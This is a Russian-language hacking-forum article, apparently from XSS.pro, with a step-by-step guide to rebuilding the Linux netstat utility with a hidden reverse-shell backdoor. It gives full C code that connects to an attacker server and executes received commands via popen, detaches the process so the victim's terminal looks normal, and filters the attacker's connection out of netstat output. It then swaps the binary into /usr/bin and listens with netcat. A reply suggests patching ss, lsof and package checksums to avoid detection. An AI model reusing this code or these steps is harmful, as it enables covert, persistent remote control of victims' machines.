• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создаем модифицированный бинарник утилиты Netstat и получаем Reverse Shell

shqnx

RAID-массив
Пользователь
Регистрация
02.02.2024
Сообщения
58
Реакции
132
Автор: shqnx
Специально для xss.pro

Приветствую всех читателей, без лишних слов сразу к делу.


Что вообще такое Netstat?
Если кратко, то Netstat - это утилита, которая используется для отображения списка активных подключений на компьютере.

Почему я выбрал именно Netstat?
1) Мы можем управлять выводом Netstat
2) Вне зависимости от уровня привилегий можно запустить данную утилиту, тем самым позволяя нам получить вариации как пользовательского бэкдора, так и бэкдора с привилегиями суперпользователя.


Требования
Для того, чтобы заменить фактический бинарник Netstat в /usr/bin директории, нам необходимо иметь рут права на машине нашей жертвы.

Цели
1) Модифицировать Netstat для инициирования реверс шелла в фоновом режиме к нашему серверу при активации пользователя
2) Скрыть наш сетевой процесс от отображения в результатах Netstat
3) Заменить существующий бинарник Netstat на модифицированный

А теперь давайте перейдем непосредственно к процессу разработки.
Первая вещь, которую мы должны сделать - это скачать сорцы утилиты Netstat с гитхаба:


Далее перемещаемся в только что клонированную папку:
cd netstat

Здесь мы можем наблюдать скрипт autogen.sh:
pic1.png


Запускаем его:

./autogen.sh

!! Если после выполнения данной команды вывод в терминале говорит о том, что у вас чего-то не хватает, то вам может потребоваться установить несколько пакетов, а именно autotools-dev, automake и libtool (для Debian-based дистрибутивов) !!

Скрипт сгенерировал нам файл конфигурации:
pic2.png


Теперь нам необходимо его запустить:

./configure

После этого у нас должен появиться Makefile:
pic3.png


Выполним команду:

make

Зайдем в директорию src и убедимся, что наш бинарник Netstat появился:
pic4.png


Теперь нам необходимо отредактировать файл netstat.c в данной директории, чтобы добавить в него наш бэкдор.
Открываем любимым редактором этот файл и ищем строку #include "proc.h", после которой нам нужно добавить:
C:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Здесь мы подключаем заголовочные файлы для работы с сетью.
sys/types.h - определяет различные типы данных, используемые в системных вызовах.
sys/socket.h - содержит определения структур данных, используемых для сетевых сокетов.
netinet/in.h - содержит определения структур данных для работы с сетевыми адресами IPv4.
arpa/inet.h - содержит функции преобразования адресов IPv4 в строковый формат и обратно.

Далее обозначим немного констант, а именно:
1) Порт, на котором мы будем слушать подключения, я выбрал 55677


!! Убедитесь, что вы выбираете порт, который не находится в зарегистрированном диапазоне. Поскольку порты в диапазоне от 0 до 1023 зарегистрированы для использования системными службами, запуск Netstat на любом из этих портов потребует привилегий суперпользователя (root) !!

2) IP сервера, который будет слушать подключения
3) Размер буффера

Когда мы читаем данные из сокета, мы определяем размер блока данных, который мы собираемся читать за один раз. В данном случае, символическая константа BUFFER_SIZE устанавливает размер этого блока данных равным 1024 байтам. Таким образом, каждый раз, когда мы читаем данные из сокета, мы будем читать не более 1024 байт.

4) Размер в байтах для отправки через сокет

Тут мы обозначаем размер блока данных, который мы планируем отправить по сети через сокет. Символическая константа RESPONSE_SIZE задает этот размер равным 4096 байтам. Это означает, что каждый раз, когда мы отправляем данные через сокет, мы отправляем блок данных размером не более 4096 байт.
C:
#define PORT 55677
#define SERVER_IP "тут_должен_быть_IP_вашего_сервера"
#define BUFFER_SIZE 1024
#define RESPONSE_SIZE 4096

Теперь давайте создадим нашу бэкдор функцию:
C:
int backdoor(void) {
    int sockfd; // Дескриптор сокета
    struct sockaddr_in server_addr; // Структура адреса сервера
    char buffer[BUFFER_SIZE]; // Буфер для полученных данных
    char response[RESPONSE_SIZE]; // Буфер для отправки ответов
    FILE *fp; // Дескриптор файла
    ssize_t bytes_received; // Количество принятых байт

    // Создание сокета
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        return 1; // Возвращаем 1, чтобы сигнализировать об ошибке при создании сокета
    }

    // Настройка адреса сервера
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);

    // Подключение к серверу
    if (connect(sockfd, (struct sockaddr*) &server_addr, sizeof(server_addr)) < 0) {
        return 1;
    }

    // Бесконечный цикл для взаимодействия с сервером
    while (1) {
        char prompt[] = "# "; // Промпт, после которого мы будем вводить наши команды для взаимодействия с жертвой (простая "оболочка" для визуальщины)
        send(sockfd, prompt, strlen(prompt), 0); // Отправка приглашения на сервер

        // Очистка буфера перед приемом данных
        memset(buffer, 0, BUFFER_SIZE);
        
        // Получение данных от сервера
        bytes_received = recv(sockfd, buffer, BUFFER_SIZE, 0);

        // Проверка на ошибки или разрыв соединения
        if (bytes_received <= 0) {
            break;
        }

        // Добавление завершающего нулевого символа к принятым данным
        buffer[bytes_received] = '\0';

        // Выполнение команды, полученной от сервера
        fp = popen(buffer, "r");

        // Проверка на успешное открытие потока для выполнения команды
        if (fp == NULL) {
            continue;
        }

        // Чтение вывода команды и отправка его на сервер
        while (fgets(response, sizeof(response) - 1, fp) != NULL) {
            send(sockfd, response, strlen(response), 0);
        }

        // Закрытие потока
        pclose(fp);
    }

    // Закрытие сокета
    close(sockfd);
    return 0;
}

В языке C каждая программа обязательно содержит функцию main. Эта функция является точкой входа в программу и выполняется в первую очередь при ее запуске.
Прежде чем перейти к добавлению нашей бэкдор-функции в main, мы выполним команду make, чтобы убедиться, что наш код компилируется без ошибок.

Вновь открываем файл netstat.c и редактируем:
Ищем строку getroute_init(); и после нее добавляем следующую:

backdoor();

Выполняем команду make.

Теперь на нашем сервере, настроенном на прослушивание, мы запустим Netcat с помощью следующей команды:

nc -nvlp 55677 -k

Netcat слушает на порту, который мы предварительно сконфигурировали.

На машине-жертве выполним команду:

./netstat -t

Можем заметить, что мы получили реверс шелл:
pic5.png


Однако на машине, выступающей в роли жертвы, терминал "занят" выполнением команды ./netstat -t:

pic6.png


После прерывания реверс шелла на сервере, на машине-жертве остается вывод в терминале о результатах выполнения команды ./netstat -t, однако это ведь совсем не то, чего мы хотим, верно?
Мы хотим, чтобы при запуске Netstat исполнялся в фоновом режиме, поэтому продолжаем вносить изменения в файл netstat.c:
Возвращаемся в функцию main, удаляем там строку backdoor();
Теперь перемещаемся в самый низ функции main, перед строчкой return (i); пишем:

C:
pid_t pid, sid;
pid = fork();

// Мы создали дубликат процесса, путем вызова fork().

if (pid < 0) {  // Если fork() вернул отрицательное значение, это означает неудачу создания дубликата процесса.
    return 1;
}
if (pid > 0) { // Если текущий код выполняется в основном процессе (родительском), мы завершаем выполнение, так как нам нечего больше делать.
    return 1;
}
// В противном случае, если мы в дочернем процессе, мы создаем новую сессию (sid) для него, чтобы он работал независимо от предыдущего процесса.
sid = setsid();
// Если sid меньше нуля, возможно, произошла ошибка при создании сессии.
if (sid < 0) {
    return 1;
}

// Закрываем файловые дескрипторы, чтобы ничего не выводилось пользователю, запустившему эту команду
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

// И непосредственно вызываем нашу бэкдор функцию

backdoor();

Если обощить, то мы создаем дубликат процесса (fork). Если это основной процесс, мы завершаем выполнение. В противном случае, если это дочерний процесс, мы закрываем все выходные потоки, чтобы ничего не выводилось на экран, затем вызываем нашу функцию.

После этого выполняем команду make и проверяем то, что мы накодили.

Выполняем команду ./netstat на машине-жертве.
Как мы видим, терминал теперь не "занят" выполнением команды и им можно спокойно пользоваться как и обычно, при этом наш реверс шелл остается активным.
Однако стоит нам выполнить команду ./netstat -t и мы все равно видим наше активное подключение:

pic7.png


Приступим к финальной части, в которой мы скроем этот противный вывод и наконец-то завершим нашу работу.
Открываем netstat.c, ищем функцию tcp_info.
В ней мы видим следующее:

pic8.png


Директория /proc/net предоставляет доступ к различным аспектам сетевой конфигурации и производительности системы, которые можно прочитать для получения информации о состоянии сети:
pic9.png


Функция tcp_info просто читает информацию из директории /proc/net и передает каждую строку функции tcp_do_one.
Если пролистать немного выше до этой самой функции tcp_do_one, мы увидим, что она является функцией без возвращаемого значения (void), поэтому она не возвращает никаких данных. Однако, если просмотреть самый конец этой функции, мы увидим, что она выводит строку:
pic10.png

pic11.png


Над этим printf пишем:
C:
char malware_rem_addr[50];
// Здесь мы создаем строку malware_rem_addr для хранения IP-адреса сервера и порта в формате "%s:%d".
// Этот адрес будет использоваться для сравнения с адресом, полученным из netstat -t.
sprintf(malware_rem_addr, "%s:%d", SERVER_IP, PORT);

// Если адреса совпадают, то мы просто выходим из функции, так как она возвращает void.
if (strcmp(rem_addr, malware_rem_addr) == 0) {
    return;
}


Сохраняем, проверяем:

make

На машине-жертве выполняем ./netstat -t
И, о чудо, у нас нет этого мерзкого вывода об активном соединении:
pic12.png


Теперь давайте заменим оригинальный бинарник на модифицированный:
Для этого выполним команду:

sudo mv netstat /usr/bin/netstat

Вот собственно и все, мы успешно выполнили все цели, тем самым достигнув ожидаемого результата. Я надеюсь, что данная статья будет как минимум полезна, а как максимум кто-нибудь из вас попробует в ней разобраться самостоятельно, потому что материал действительно очень интересный. Возможно кто-либо предложит свои правки и/или советы. В любом случае буду рад выслушать всех. Спасибо за внимание!
 
хорош! теперь надо пропатчить ss, lsof и поправить чексуммы бинарей в базе DPKG/RPM/что-там-в-вашем-дистрибутиве :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх